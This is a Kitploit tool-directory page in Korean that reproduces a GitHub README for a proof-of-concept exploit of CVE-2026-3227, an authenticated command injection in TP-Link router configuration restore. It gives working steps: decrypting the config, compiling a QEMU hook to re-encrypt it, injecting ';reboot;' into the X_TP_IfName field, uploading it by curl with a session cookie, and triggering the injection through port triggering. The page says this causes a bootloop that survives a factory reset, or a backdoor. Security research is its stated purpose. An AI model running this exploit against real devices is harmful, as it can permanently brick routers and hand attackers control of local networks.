Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3227-TP-Link-authenticated-RCE — TP-Link 라우터 펌웨어에서 인증된 OS 명령어 삽입을 위한 개념 증명. 복호화, QEMU 기반 암호화 후크, 지속적 부트루프 또는 백도어 배포를 위한 15자 페이로드 생성을 포함합니다. | Kitploit
도구/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
IoT SecurityVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPenetration TestingLearning & EducationFirmware AnalysisBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

TP-Link 라우터 펌웨어에서 인증된 OS 명령어 삽입을 위한 개념 증명. 복호화, QEMU 기반 암호화 후크, 지속적 부트루프 또는 백도어 배포를 위한 15자 페이로드 생성을 포함합니다.

저장소 보기
4212522개월 전Kitploit 검토 완료

CVE-2026-3227: TP-Link 라우터 OS 명령 삽입

CVE Status Hardware Language

자세한 정보는 https://www.cve.org/CVERecord?id=CVE-2026-3227 를 참조하세요.

영구적이며 인증된 OS 명령 삽입 취약점으로, TP-Link 라우터 펌웨어에서 기기를 벽돌로 만들거나 LAN 장악이 가능합니다.

면책 조항: 이 저장소는 패치된 취약점에 대한 개념 증명(PoC) 코드를 포함하고 있습니다. 교육 목적 및 보안 연구자들을 위해 제공됩니다.

요약

여러 TP-Link 라우터(TL-WR802N, TL-WR841N, TL-WR840N 포함)의 구성 백업/복원 메커니즘에서 명령 삽입 취약점이 존재합니다. 관리자 권한을 가진 공격자는 라우터의 구성을 다운로드하고, 이를 복호화한 후 특정 XML 필드에 악의적인 OS 명령(최대 15자)을 삽입하고, 다시 암호화하여 장치에 업로드할 수 있습니다.

라우터가 구성을 적용할 때(예: 포트 트리거 이벤트 발생 시 또는 시작 시), 삽입된 페이로드가 root 권한으로 실행됩니다. 이를 사용하여 지속적인 부트루프를 유발하거나(공장 초기화에도 살아남아 기기를 영구적으로 벽돌 상태로 만듦) LAN 피벗을 위한 지속적인 백도어를 활성화할 수 있습니다.


발견 과정 (어떻게 찾았는가)

라우터의 구성 백업 기능을 탐색하던 중, httpd 바이너리와 libcmm.so 라이브러리를 리버스 엔지니어링하여 구성 파일이 어떻게 암호화되고 파싱되는지 이해하기로 결정했습니다.

  1. 복호화: Python 스크립트를 성공적으로 작성하여 라우터의 구성 블롭을 복호화하고, 기본 XML 구성을 읽을 수 있었습니다.
  2. 싱크 찾기: XML 매개변수를 분석하는 과정에서, 삽입 지점이 발견되었으며 이는 아무런 검증 없이 시스템 실행 함수에 직접 전달되었습니다.
  3. 암호화 문제: 암호화 알고리즘을 재현하는 것이 어려웠습니다. 코드를 리버싱하고 Python 및 C로 알고리즘을 재구현하려 시도했지만, 라우터가 수용할 수 있는 암호화 파일을 생성할 수 없었습니다.
  4. 해결책 (QEMU 후킹): 바퀴를 재발명하는 대신, 공격적인 엔지니어링 접근 방식을 취했습니다. qemu-user를 사용하여 라우터의 아키텍처를 에뮬레이트하고, 런타임에 라우터의 원래 httpd 바이너리를 후킹했습니다(create_config.c). 이를 통해 Python PoC에서 라우터의 고유 암호화 함수를 직접 호출하여 원본 암호화 형식을 완벽하게 모방할 수 있었습니다.

기술적 심층 분석 / 근본 원인 분석

취약점은 제품이 암호화된 구성 블롭을 파싱하고 런타임에 적용하는 방식에 있습니다. 포트 트리거링 구성 경로에서, 구현체가 사용자 제어 가능한 필드를 사용하여 셸 명령을 구성하지만 적절한 검증이 이루어지지 않습니다.

구체적으로, oal_pt_addPortTrigger 함수는 다음을 호출합니다:

root@kitploit:~
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

%s 형식 문자열은 업로드된 XML 구성에서 직접 파싱된 인터페이스 문자열(X_TP_IfName)로 채워집니다.

실행 흐름:

  1. 업로드: http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. 파싱: oal_pt_addPortTrigger가 forward_parsePtOpenPort를 호출하여 포트 목록을 파싱합니다.
  3. 실행: 시스템이 iptables 명령 문자열을 구성하고 util_execSystem(system()을 래핑)을 통해 실행합니다.

복호화된 XML을 다음과 같이 수정함으로써:

root@kitploit:~
<X_TP_IfName val=";reboot;"/>

명령은 시작 시 인터페이스 초기화 중 또는 포트 트리거 이벤트 발생 시 실행됩니다. 페이로드는 15자로 제한되므로, 익스플로잇을 제작하려면 컴팩트한 명령 실행 기술이 필요합니다.

개념 증명 (PoC)

저작권이 있는 TP-Link 바이너리를 배포하지 않기 위해, 이 PoC는 사용자가 직접 라우터의 파일 시스템을 추출하여 사용자 정의 QEMU 후크를 통해 고유 암호화 라이브러리를 활용해야 합니다.

사전 요구 사항

  • qemu-mipsel 및 크로스 컴파일러(gcc-mipsel-linux-gnu)
  • Python 3 및 종속성 (pip install pycryptodome)
  • binwalk -Me <firmware.bin>을 사용하여 추출된 펌웨어

1단계: 환경 준비

  1. 대상 펌웨어를 추출하고 squashfs-root 디렉토리를 이 프로젝트의 python_utils/에 복사합니다.
  2. QEMU 후크를 컴파일합니다:
    root@kitploit:~
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

2단계: 악성 구성 생성

  1. 라우터에 로그인하여 백업 구성(config.bin)을 다운로드합니다.
  2. 페이로드 생성기를 실행합니다:
    root@kitploit:~
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    
    참고: 페이로드는 15자를 초과해서는 안 됩니다.

3단계: curl을 통해 구성 업로드 (내 라우터의 업데이트 기능은 그저 장식이었을 뿐 실제로 아무것도 하지 않았습니다).

root@kitploit:~
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

4단계: 익스플로잇 트리거

  1. 라우터가 재시작되고 설정을 적용하면, 전달 -> 포트 트리거링으로 이동합니다.
  2. 새 포트 트리거 추가 (예: 드롭다운에서 "Battle.net" 선택) 후 저장합니다.
  3. 삽입된 OS 명령이 root 권한으로 실행됩니다. ;reboot;를 사용한 경우, 라우터는 즉시 재시작되어 지속적인 부트루프 상태에 빠집니다.
도구 다운로드